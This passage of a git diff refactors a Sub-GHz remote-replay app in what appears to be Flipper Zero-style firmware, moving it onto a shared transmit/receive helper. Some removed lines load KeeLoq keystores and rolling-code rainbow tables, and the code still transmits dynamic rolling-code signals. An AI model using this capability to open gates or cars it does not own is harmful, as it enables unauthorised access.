== SUBGHZ_KEY_FILE_VERSION) { + } else { + FURI_LOG_E(TAG, "Type or version mismatch"); + break; + } + + SubGhzSetting* setting = subghz_txrx_get_setting(txrx); // txrx->setting; + + //Load frequency or using default from settings + ret = SubRemLoadSubStateErrorFreq; + if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { + FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); + sub_preset->freq_preset.frequency = subghz_setting_get_default_frequency(setting); + } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { + FURI_LOG_E(TAG, "This frequency can only be used for RX"); + break; + } + sub_preset->freq_preset.frequency = temp_data32; + + //Load preset + ret = SubRemLoadSubStateErrorMod; + if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { + FURI_LOG_E(TAG, "Missing Preset"); + break; + } + + furi_string_set_str( + temp_str, subghz_txrx_get_preset_name(txrx, furi_string_get_cstr(temp_str))); + if(!strcmp(furi_string_get_cstr(temp_str), "")) { + break; + } + + if(!strcmp(furi_string_get_cstr(temp_str), "CUSTOM")) { + FURI_LOG_E(TAG, "CUSTOM preset is not supported"); + break; + // TODO Custom preset loading logic if need + // sub_preset->freq_preset.preset_index = + // subghz_setting_get_inx_preset_by_name(setting, furi_string_get_cstr(temp_str)); + } + + furi_string_set(sub_preset->freq_preset.name, temp_str); + + // Load protocol + ret = SubRemLoadSubStateErrorProtocol; + if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { + FURI_LOG_E(TAG, "Missing Protocol"); + break; + } + + FlipperFormat* fff_data = sub_preset->fff_data; + if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) { + //if RAW + subghz_protocol_raw_gen_fff_data( + fff_data, furi_string_get_cstr(sub_preset->file_path)); + } else { + stream_copy_full( + flipper_format_get_raw_stream(fff_data_file), + flipper_format_get_raw_stream(fff_data)); + } + + if(subghz_txrx_load_decoder_by_name_protocol(txrx, furi_string_get_cstr(temp_str))) { + SubGhzProtocolStatus status = + subghz_protocol_decoder_base_deserialize(subghz_txrx_get_decoder(txrx), fff_data); + if(status != SubGhzProtocolStatusOk) { + break; + } + } else { + FURI_LOG_E(TAG, "Protocol not found"); + break; + } + + const SubGhzProtocol* protocol = subghz_txrx_get_decoder(txrx)->protocol; + + if(protocol->flag & SubGhzProtocolFlag_Send) { + if((protocol->type == SubGhzProtocolTypeStatic) || + (protocol->type == SubGhzProtocolTypeDynamic) || + // TODO: BINRAW It probably works, but checks are needed. + // (protocol->type == SubGhzProtocolTypeBinRAW) || + (protocol->type == SubGhzProtocolTypeRAW)) { + sub_preset->type = protocol->type; + } else { + FURI_LOG_E(TAG, "Unsuported Protocol"); + break; + } + + furi_string_set(sub_preset->protocaol_name, temp_str); + } else { + FURI_LOG_E(TAG, "Protocol does not support transmission"); + break; + } + + if(!flipper_format_insert_or_update_uint32(fff_data, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + + ret = SubRemLoadSubStateOK; + +#if FURI_DEBUG + FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); +#endif + } while(false); + + furi_string_free(temp_str); + return ret; +} diff --git a/applications/main/subghz_remote/helpers/subrem_presets.h b/applications/main/subghz_remote/helpers/subrem_presets.h index 60eedad57..fd4a2d780 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.h +++ b/applications/main/subghz_remote/helpers/subrem_presets.h @@ -3,10 +3,12 @@ #include "subrem_types.h" #include #include +#include "../../subghz/helpers/subghz_txrx.h" typedef struct { + FuriString* name; uint32_t frequency; - uint8_t* data; + // size_t preset_index; // Need for custom preset } FreqPreset; // Sub File preset @@ -20,8 +22,17 @@ typedef struct { SubRemLoadSubState load_state; } SubRemSubFilePreset; +typedef struct { + SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; +} SubRemMapPreset; + SubRemSubFilePreset* subrem_sub_file_preset_alloc(); void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset); + +SubRemLoadSubState subrem_sub_preset_load( + SubRemSubFilePreset* sub_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file); diff --git a/applications/main/subghz_remote/helpers/subrem_types.h b/applications/main/subghz_remote/helpers/subrem_types.h index 13b42897f..def807898 100644 --- a/applications/main/subghz_remote/helpers/subrem_types.h +++ b/applications/main/subghz_remote/helpers/subrem_types.h @@ -26,7 +26,7 @@ typedef enum { } SubRemViewID; typedef enum { - SubRemLoadSubStateNotSet, + SubRemLoadSubStateNotSet = 0, SubRemLoadSubStatePreloaded, SubRemLoadSubStateError, SubRemLoadSubStateErrorNoFile, diff --git a/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c b/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c index ea5c14a0a..796699c83 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c @@ -4,7 +4,8 @@ void subrem_scene_openmapfile_on_enter(void* context) { SubGhzRemoteApp* app = context; SubRemLoadMapState load_state = subrem_load_from_file(app); - if(load_state == SubRemLoadMapStateError) { + if(load_state != SubRemLoadMapStateOK && load_state != SubRemLoadMapStateNotAllOK && + load_state != SubRemLoadMapStateBack) { #ifdef SUBREM_LIGHT dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); #else diff --git a/applications/main/subghz_remote/scenes/subrem_scene_remote.c b/applications/main/subghz_remote/scenes/subrem_scene_remote.c index 1b8dbc471..eaa1c41d9 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_remote.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_remote.c @@ -37,17 +37,16 @@ static uint8_t subrem_scene_remote_event_to_index(SubRemCustomEvent event_id) { static bool subrem_scene_remote_update_data_show(void* context) { SubGhzRemoteApp* app = context; - bool ret = false; - subrem_view_remote_add_data_to_show( - app->subrem_remote_view, - furi_string_get_cstr(app->map_preset->subs_preset[0]->label), - furi_string_get_cstr(app->map_preset->subs_preset[1]->label), - furi_string_get_cstr(app->map_preset->subs_preset[2]->label), - furi_string_get_cstr(app->map_preset->subs_preset[3]->label), - furi_string_get_cstr(app->map_preset->subs_preset[4]->label)); + const char* labels[SubRemSubKeyNameMaxCount]; - return ret; + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + labels[i] = furi_string_get_cstr(app->map_preset->subs_preset[i]->label); + } + + subrem_view_remote_add_data_to_show(app->subrem_remote_view, labels); + + return true; } void subrem_scene_remote_on_enter(void* context) { @@ -81,32 +80,37 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { event.event == SubRemCustomEventViewRemoteStartOK) { // Start sending sub subrem_tx_stop_sub(app, true); - app->chusen_sub = subrem_scene_remote_event_to_index(event.event); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateLoading); - if(subrem_tx_start_sub( - app, - app->map_preset->subs_preset[app->chusen_sub], - subrem_scene_remote_raw_callback_end_tx)) { - subrem_view_remote_set_presed_btn(app->subrem_remote_view, app->chusen_sub); + + uint8_t chusen_sub = subrem_scene_remote_event_to_index(event.event); + app->chusen_sub = chusen_sub; + + subrem_view_remote_set_state( + app->subrem_remote_view, SubRemViewRemoteStateLoading, chusen_sub); + + if(subrem_tx_start_sub(app, app->map_preset->subs_preset[chusen_sub])) { + if(app->map_preset->subs_preset[chusen_sub]->type == SubGhzProtocolTypeRAW) { + subghz_txrx_set_raw_file_encoder_worker_callback_end( + app->txrx, subrem_scene_remote_raw_callback_end_tx, app); + } subrem_view_remote_set_state( - app->subrem_remote_view, SubRemViewRemoteStateSending); + app->subrem_remote_view, SubRemViewRemoteStateSending, chusen_sub); notification_message(app->notifications, &sequence_blink_start_magenta); } else { - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state( + app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); } return true; } else if(event.event == SubRemCustomEventViewRemoteForcedStop) { subrem_tx_stop_sub(app, true); - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); return true; } else if(event.event == SubRemCustomEventViewRemoteStop) { if(subrem_tx_stop_sub(app, false)) { - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state( + app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); } @@ -123,8 +127,7 @@ void subrem_scene_remote_on_exit(void* context) { subrem_tx_stop_sub(app, true); - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); notification_message(app->notifications, &sequence_blink_stop); } diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index 4f9138e2a..7383757d2 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -79,23 +79,9 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->map_preset->subs_preset[i] = subrem_sub_file_preset_alloc(); } - app->setting = subghz_setting_alloc(); - subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); + app->txrx = subghz_txrx_alloc(); - app->environment = subghz_environment_alloc(); - - subghz_environment_load_keystore(app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes")); - subghz_environment_load_keystore( - app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); - subghz_environment_set_came_atomo_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/came_atomo")); - subghz_environment_set_alutech_at_4n_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/alutech_at_4n")); - subghz_environment_set_nice_flor_s_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/nice_flor_s")); - subghz_environment_set_protocol_registry(app->environment, (void*)&subghz_protocol_registry); - - app->receiver = subghz_receiver_alloc_init(app->environment); + subghz_txrx_set_need_save_callback(app->txrx, subrem_save_active_sub, app); app->tx_running = false; @@ -132,9 +118,7 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { scene_manager_free(app->scene_manager); view_dispatcher_free(app->view_dispatcher); - subghz_receiver_free(app->receiver); - subghz_environment_free(app->environment); - subghz_setting_free(app->setting); + subghz_txrx_free(app->txrx); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { subrem_sub_file_preset_free(app->map_preset->subs_preset[i]); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.c b/applications/main/subghz_remote/subghz_remote_app_i.c index 9c35a0e03..fb34b59f7 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.c +++ b/applications/main/subghz_remote/subghz_remote_app_i.c @@ -4,6 +4,8 @@ #include +#include "../subghz/helpers/subghz_txrx_i.h" + // #include // #include @@ -11,6 +13,12 @@ #define TAG "SubGhzRemote" +// XXX Using TxRx +// [x] use TxRx preset subrem_sub_preset_load & subrem_tx_start_sub +// [x] subrem_sub_preset_load & drop subrem_set_preset_data +// [x] subrem_tx_start_sub +// [x] subrem_tx_stop_sub + static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { [SubRemSubKeyNameUp] = {"UP", "ULABEL"}, [SubRemSubKeyNameDown] = {"DOWN", "DLABEL"}, @@ -19,30 +27,7 @@ static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { [SubRemSubKeyNameOk] = {"OK", "OKLABEL"}, }; -static bool - subrem_set_preset_data(SubGhzSetting* setting, FreqPreset* freq_preset, const char* preset) { - const char* preset_name = ""; - if(!strcmp(preset, "FuriHalSubGhzPresetOok270Async")) { - preset_name = "AM270"; - } else if(!strcmp(preset, "FuriHalSubGhzPresetOok650Async")) { - preset_name = "AM650"; - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev238Async")) { - preset_name = "FM238"; - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev476Async")) { - preset_name = "FM476"; - } else if(!strcmp(preset, "FuriHalSubGhzPresetCustom")) { - // preset_name = "CUSTOM"; - return false; - } else { - FURI_LOG_E(TAG, "Unknown preset"); - return false; - } - size_t preset_index = subghz_setting_get_inx_preset_by_name(setting, preset_name); - freq_preset->data = subghz_setting_get_preset_data(setting, preset_index); - return true; -} - -void subrem_map_preset_reset(SubRemMapPreset* map_preset) { +static void subrem_map_preset_reset(SubRemMapPreset* map_preset) { furi_assert(map_preset); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { @@ -50,12 +35,61 @@ void subrem_map_preset_reset(SubRemMapPreset* map_preset) { } } -static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { - furi_assert(app); +static SubRemLoadMapState subrem_map_preset_check( + SubRemMapPreset* map_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file) { + furi_assert(map_preset); + furi_assert(txrx); + + bool all_loaded = true; + SubRemLoadMapState ret = SubRemLoadMapStateErrorBrokenFile; + + SubRemLoadSubState sub_preset_loaded; + SubRemSubFilePreset* sub_preset; + + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = map_preset->subs_preset[i]; + + sub_preset_loaded = SubRemLoadSubStateErrorNoFile; + + if(furi_string_empty(sub_preset->file_path)) { + // FURI_LOG_I(TAG, "Empty file path"); + } else if(!flipper_format_file_open_existing( + fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { + FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); + } else { + sub_preset_loaded = subrem_sub_preset_load(sub_preset, txrx, fff_data_file); + } + + // TODO: + // Load file state logic + // Label depending on the state + // Move to remote scene + + if(sub_preset_loaded != SubRemLoadSubStateOK) { + furi_string_set_str(sub_preset->label, "N/A"); + all_loaded = false; + } else { + ret = SubRemLoadMapStateNotAllOK; + } + + if(ret != SubRemLoadMapStateErrorBrokenFile && all_loaded) { + ret = SubRemLoadMapStateOK; + } + + flipper_format_file_close(fff_data_file); + } + + return ret; +} + +static bool subrem_map_preset_load(SubRemMapPreset* map_preset, FlipperFormat* fff_data_file) { + furi_assert(map_preset); bool ret = false; SubRemSubFilePreset* sub_preset; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->map_preset->subs_preset[i]; + sub_preset = map_preset->subs_preset[i]; if(!flipper_format_read_string( fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { #if FURI_DEBUG @@ -69,8 +103,13 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data #if FURI_DEBUG FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); #endif + // TODO move to remote scene path_extract_filename(sub_preset->file_path, sub_preset->label, true); + ret = true; } else { + ret = true; + } + if(ret) { // Preload seccesful FURI_LOG_I( TAG, @@ -78,157 +117,14 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data map_file_labels[i][0], furi_string_get_cstr(sub_preset->label), furi_string_get_cstr(sub_preset->file_path)); - ret = true; sub_preset->load_state = SubRemLoadSubStatePreloaded; } + flipper_format_rewind(fff_data_file); } return ret; } -static SubRemLoadMapState - subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { - furi_assert(app); - FuriString* temp_str = furi_string_alloc(); - uint32_t temp_data32; - bool all_loaded = true; - SubRemLoadMapState ret = SubRemLoadMapStateErrorBrokenFile; - SubRemLoadSubState sub_preset_loaded; - SubRemSubFilePreset* sub_preset; - uint32_t repeat = 200; - for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->map_preset->subs_preset[i]; - if(furi_string_empty(sub_preset->file_path)) { - // FURI_LOG_I(TAG, "Empty file path"); - continue; - } - - sub_preset_loaded = SubRemLoadSubStateErrorNoFile; - - repeat = 200; - do { - if(!flipper_format_file_open_existing( - fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { - FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); - break; - } - - if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - break; - } - - if(((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_KEY_FILE_TYPE)) || - (!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_RAW_FILE_TYPE))) && - temp_data32 == SUBGHZ_KEY_FILE_VERSION) { - } else { - FURI_LOG_E(TAG, "Type or version mismatch"); - break; - } - - //Load frequency - sub_preset_loaded = SubRemLoadSubStateErrorFreq; - if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { - FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); - sub_preset->freq_preset.frequency = - subghz_setting_get_default_frequency(app->setting); - } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { - FURI_LOG_E(TAG, "This frequency can only be used for RX"); - break; - } else { - sub_preset->freq_preset.frequency = temp_data32; - } - - //Load preset - sub_preset_loaded = SubRemLoadSubStateErrorMod; - if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { - FURI_LOG_E(TAG, "Missing Preset"); - break; - } - - if(!subrem_set_preset_data( - app->setting, &sub_preset->freq_preset, furi_string_get_cstr(temp_str))) { - FURI_LOG_E(TAG, "Cannot load preset."); - break; - } - - //Load protocol - sub_preset_loaded = SubRemLoadSubStateErrorProtocol; - if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { - FURI_LOG_E(TAG, "Missing Protocol"); - break; - } - - FlipperFormat* fff_data = sub_preset->fff_data; - if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) { - //if RAW - subghz_protocol_raw_gen_fff_data( - fff_data, furi_string_get_cstr(sub_preset->file_path)); - } else { - stream_copy_full( - flipper_format_get_raw_stream(fff_data_file), - flipper_format_get_raw_stream(fff_data)); - } - - const SubGhzProtocolRegistry* protocol_registry_items = - subghz_environment_get_protocol_registry(app->environment); - - const SubGhzProtocol* protocol = subghz_protocol_registry_get_by_name( - protocol_registry_items, furi_string_get_cstr(temp_str)); - - if(!protocol) { - FURI_LOG_E(TAG, "Protocol not found"); - break; - } else if(protocol->flag & SubGhzProtocolFlag_Send) { - if((protocol->type == SubGhzProtocolTypeStatic) || - (protocol->type == SubGhzProtocolTypeDynamic) || - // (protocol->type == SubGhzProtocolTypeBinRAW) || // TODO: BINRAW - (protocol->type == SubGhzProtocolTypeRAW)) { - sub_preset->type = protocol->type; - } else { - FURI_LOG_E(TAG, "Unsuported Protocol"); - break; - } - - furi_string_set(sub_preset->protocaol_name, temp_str); - } else { - FURI_LOG_E(TAG, "Protocol does not support transmission"); - } - - if(!flipper_format_insert_or_update_uint32(fff_data, "Repeat", &repeat, 1)) { - FURI_LOG_E(TAG, "Unable Repeat"); - break; - } - - sub_preset_loaded = SubRemLoadSubStateOK; - ret = SubRemLoadMapStateNotAllOK; - -#if FURI_DEBUG - FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); -#endif - } while(false); - - // TODO: - // Load file state logic - // Label depending on the state - // Move to remote scene - - if(sub_preset_loaded != SubRemLoadSubStateOK) { - furi_string_set_str(sub_preset->label, "N/A"); - all_loaded = false; - } - - if(ret != SubRemLoadMapStateErrorBrokenFile && all_loaded) { - ret = SubRemLoadMapStateOK; - } - - flipper_format_file_close(fff_data_file); - } - furi_string_free(temp_str); - - return ret; -} - SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { furi_assert(app); furi_assert(file_path); @@ -247,13 +143,13 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); ret = SubRemLoadMapStateErrorOpenError; } else { - if(!subrem_map_preset_load(app, fff_data_file)) { + if(!subrem_map_preset_load(app->map_preset, fff_data_file)) { FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); // ret = // error for popup } else if(!flipper_format_file_close(fff_data_file)) { ret = SubRemLoadMapStateErrorOpenError; } else { - ret = subrem_map_preset_check(app, fff_data_file); + ret = subrem_map_preset_check(app->map_preset, app->txrx, fff_data_file); } } @@ -272,9 +168,9 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p return ret; } -bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { +bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* sub_file_name) { furi_assert(flipper_format); - furi_assert(dev_file_name); + furi_assert(sub_file_name); Storage* storage = furi_record_open(RECORD_STORAGE); Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); @@ -283,19 +179,19 @@ bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev uint32_t repeat = 200; FuriString* file_dir = furi_string_alloc(); - path_extract_dirname(dev_file_name, file_dir); + path_extract_dirname(sub_file_name, file_dir); do { // removing additional fields flipper_format_delete_key(flipper_format, "Repeat"); // flipper_format_delete_key(flipper_format, "Manufacture"); - if(!storage_simply_remove(storage, dev_file_name)) { + if(!storage_simply_remove(storage, sub_file_name)) { break; } //ToDo check Write stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); - stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); + stream_save_to_file(flipper_format_stream, storage, sub_file_name, FSOM_CREATE_ALWAYS); if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { FURI_LOG_E(TAG, "Unable Repeat"); @@ -310,10 +206,16 @@ bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev return saved; } -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback) { +void subrem_save_active_sub(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; + subrem_save_protocol_to_file( + sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); +} + +bool subrem_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { furi_assert(app); furi_assert(sub_preset); bool ret = false; @@ -321,88 +223,44 @@ bool subrem_tx_start_sub( subrem_tx_stop_sub(app, true); if(sub_preset->type == SubGhzProtocolTypeUnknown) { - return false; - } + ret = false; + } else { + FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); - FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); + subghz_txrx_load_decoder_by_name_protocol( + app->txrx, furi_string_get_cstr(sub_preset->protocaol_name)); - subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); + subghz_txrx_set_preset( + app->txrx, + furi_string_get_cstr(sub_preset->freq_preset.name), + sub_preset->freq_preset.frequency, + NULL, + 0); - do { - flipper_format_rewind(sub_preset->fff_data); // - - app->transmitter = subghz_transmitter_alloc_init( - app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); - - if(app->transmitter) { - if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != - SubGhzProtocolStatusOk) { - FURI_LOG_E(TAG, "Deserialize error!"); - break; - } - furi_hal_subghz_reset(); - furi_hal_subghz_idle(); - furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); - - furi_hal_subghz_idle(); - - furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); - furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); - - if(!furi_hal_subghz_tx()) { - FURI_LOG_E(TAG, "Sending not allowed"); - break; - } - - if(sub_preset->type == SubGhzProtocolTypeRAW) { - subghz_protocol_raw_file_encoder_worker_set_callback_end( - (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( - app->transmitter), - callback, - app); - } - - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); + subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); + if(subghz_txrx_tx_start(app->txrx, sub_preset->fff_data) == SubGhzTxRxStartTxStateOk) { ret = true; } - } while(false); + } app->tx_running = ret; return ret; } -static void subghz_tx_stop(SubGhzRemoteApp* app) { - furi_assert(app); - - //Stop TX - furi_hal_subghz_stop_async_tx(); - - subghz_transmitter_stop(app->transmitter); - subghz_transmitter_free(app->transmitter); - furi_hal_subghz_idle(); -} - bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { furi_assert(app); SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { - // SubRemSubKeyTypeRawKey)) { + // XXX drop app->tx_running if(app->tx_running) { - subghz_tx_stop(app); + subghz_txrx_stop(app->txrx); if(sub_preset->type == SubGhzProtocolTypeDynamic) { - subrem_save_protocol_to_file( - sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); - keeloq_reset_mfname(); keeloq_reset_kl_type(); keeloq_reset_original_btn(); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.h b/applications/main/subghz_remote/subghz_remote_app_i.h index 5d34968cd..50e2bae9f 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.h +++ b/applications/main/subghz_remote/subghz_remote_app_i.h @@ -3,6 +3,8 @@ #include "helpers/subrem_types.h" #include "helpers/subrem_presets.h" +#include "../subghz/helpers/subghz_txrx.h" + #include #include "views/remote.h" @@ -31,9 +33,6 @@ #define SUBREM_APP_FOLDER EXT_PATH("subghz_remote") #define SUBREM_MAX_LEN_NAME 64 -typedef struct { - SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; -} SubRemMapPreset; typedef struct { Gui* gui; ViewDispatcher* view_dispatcher; @@ -49,10 +48,7 @@ typedef struct { SubRemMapPreset* map_preset; - SubGhzSetting* setting; - SubGhzEnvironment* environment; - SubGhzReceiver* receiver; - SubGhzTransmitter* transmitter; + SubGhzTxRx* txrx; bool tx_running; @@ -61,9 +57,8 @@ typedef struct { SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app); -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback); +bool subrem_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); -bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced); \ No newline at end of file +bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced); + +void subrem_save_active_sub(void* context); \ No newline at end of file diff --git a/applications/main/subghz_remote/views/remote.c b/applications/main/subghz_remote/views/remote.c index 1f867cd0b..e062f11b1 100644 --- a/applications/main/subghz_remote/views/remote.c +++ b/applications/main/subghz_remote/views/remote.c @@ -41,24 +41,18 @@ void subrem_view_remote_set_callback( subrem_view_remote->context = context; } -void subrem_view_remote_add_data_to_show( - SubRemViewRemote* subrem_view_remote, - const char* up_label, - const char* down_label, - const char* left_label, - const char* right_label, - const char* ok_label) { +void subrem_view_remote_add_data_to_show(SubRemViewRemote* subrem_view_remote, const char** labels) { furi_assert(subrem_view_remote); with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, { - strncpy(model->up_label, up_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->down_label, down_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->left_label, left_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->right_label, right_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->ok_label, ok_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->up_label, labels[0], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->down_label, labels[1], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->left_label, labels[2], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->right_label, labels[3], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->ok_label, labels[4], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); // furi_string_set(model->up_label, up_label); // furi_string_set(model->down_label, down_label); @@ -69,23 +63,21 @@ void subrem_view_remote_add_data_to_show( true); } -void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn) { +void subrem_view_remote_set_state( + SubRemViewRemote* subrem_view_remote, + SubRemViewRemoteState state, + uint8_t presed_btn) { furi_assert(subrem_view_remote); with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, - { model->pressed_btn = presed_btn; }, + { + model->state = state; + model->pressed_btn = presed_btn; + }, true); } -void subrem_view_remote_set_state( - SubRemViewRemote* subrem_view_remote, - SubRemViewRemoteState state) { - 